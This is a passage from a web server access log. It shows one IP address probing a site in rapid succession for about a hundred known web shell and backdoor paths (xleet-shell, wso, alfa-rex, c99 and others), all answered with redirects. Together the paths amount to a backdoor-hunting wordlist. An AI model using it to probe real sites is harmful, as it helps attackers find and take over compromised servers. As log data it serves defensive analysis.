HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:51:09 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:09 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:51:09 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:10 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:51:10 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:10 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:11 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:11 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:51:11 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:51:11 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:12 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:51:12 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:12 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:13 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:13 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:13 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:13 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:14 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:14 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:14 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:51:14 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:15 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:51:15 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:15 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:15 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:15 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:15 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:16 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:16 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:16 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:16 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:16 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:17 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:17 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:17 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:17 -0400] "GET /gank.php.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:18 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:18 -0400] "GET /wp.php?Chitoge HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:18 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:18 -0400] "GET /wp-content/plugins/w0rdpr3ssnew/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:18 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:51:19 -0400] "GET /wp-content/plugins/xwp/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:19 -0400] "GET /wp-content/plugins/anttt/simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:19 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:19 -0400] "GET /wp-content/plugins/instabuilder2/cache/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:51:19 -0400] "GET /wp-content/plugins/wordpresss3cll/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:20 -0400] "GET /wp-content/plugins/wpyii2/wpyii2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:20 -0400] "GET /wp-content/plugins/wpputty/wpputty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:51:20 -0400] "GET /wp-content/plugins/dos2unix/dos2unix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:20 -0400] "GET /wp-includes/sitemaps/providers/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:21 -0400] "GET /wp-includes/PHPMailer/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:21 -0400] "GET /wp-admin/maint/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:21 -0400] "GET /wp-includes/IXR/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:21 -0400] "GET /wp-includes/images/crystal/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:22 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:22 -0400] "GET /wp-admin/css/colors/ocean/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:22 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:22 -0400] "GET /wp-admin/maint/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:22 -0400] "GET /wsoyanzfv3.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:23 -0400] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:23 -0400] "GET /wp-admin/css/acces.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:23 -0400] "GET /wp-includes/css/str_replace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:23 -0400] "GET /wp-admin/css/colors/midnight/strcmp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:23 -0400] "GET /wp-admin/includes/sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:24 -0400] "GET /wp-includes/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:24 -0400] "GET /wp-includes/images/crystal/option.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:24 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:51:24 -0400] "GET /wp-admin/images/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:25 -0400] "GET /wp-includes/server.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:25 -0400] "GET /wp-admin/images/APLpewO.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:25 -0400] "GET /wp-admin/js/html.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:25 -0400] "GET /wp-admin/images/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:25 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:26 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:26 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:26 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:26 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:26 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:26 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:27 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:51:27 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:27 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:51:27 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:27 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:28 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:28 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:28 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:28 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:51:28 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:51:28 -0400] "GET /images/g3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:29 -0400] "GET /wp-includes/miso-bold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:29 -0400] "GET /wp-includes/compats.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:29 -0400] "GET /wp-admin/network/wp-xZ2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:29 -0400] "GET /wp-admin/css/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:29 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:51:30 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:30 -0400] "GET /wp-includes/email.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:51:30 -0400] "GET /uploads/phpimage.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:30 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:51:30 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:30 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:31 -0400] "GET /wp-admin/maint/bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:51:31 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:31 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:51:31 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:31 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:51:32 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:32 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:51:32 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:51:32 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:51:32 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:51:32 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 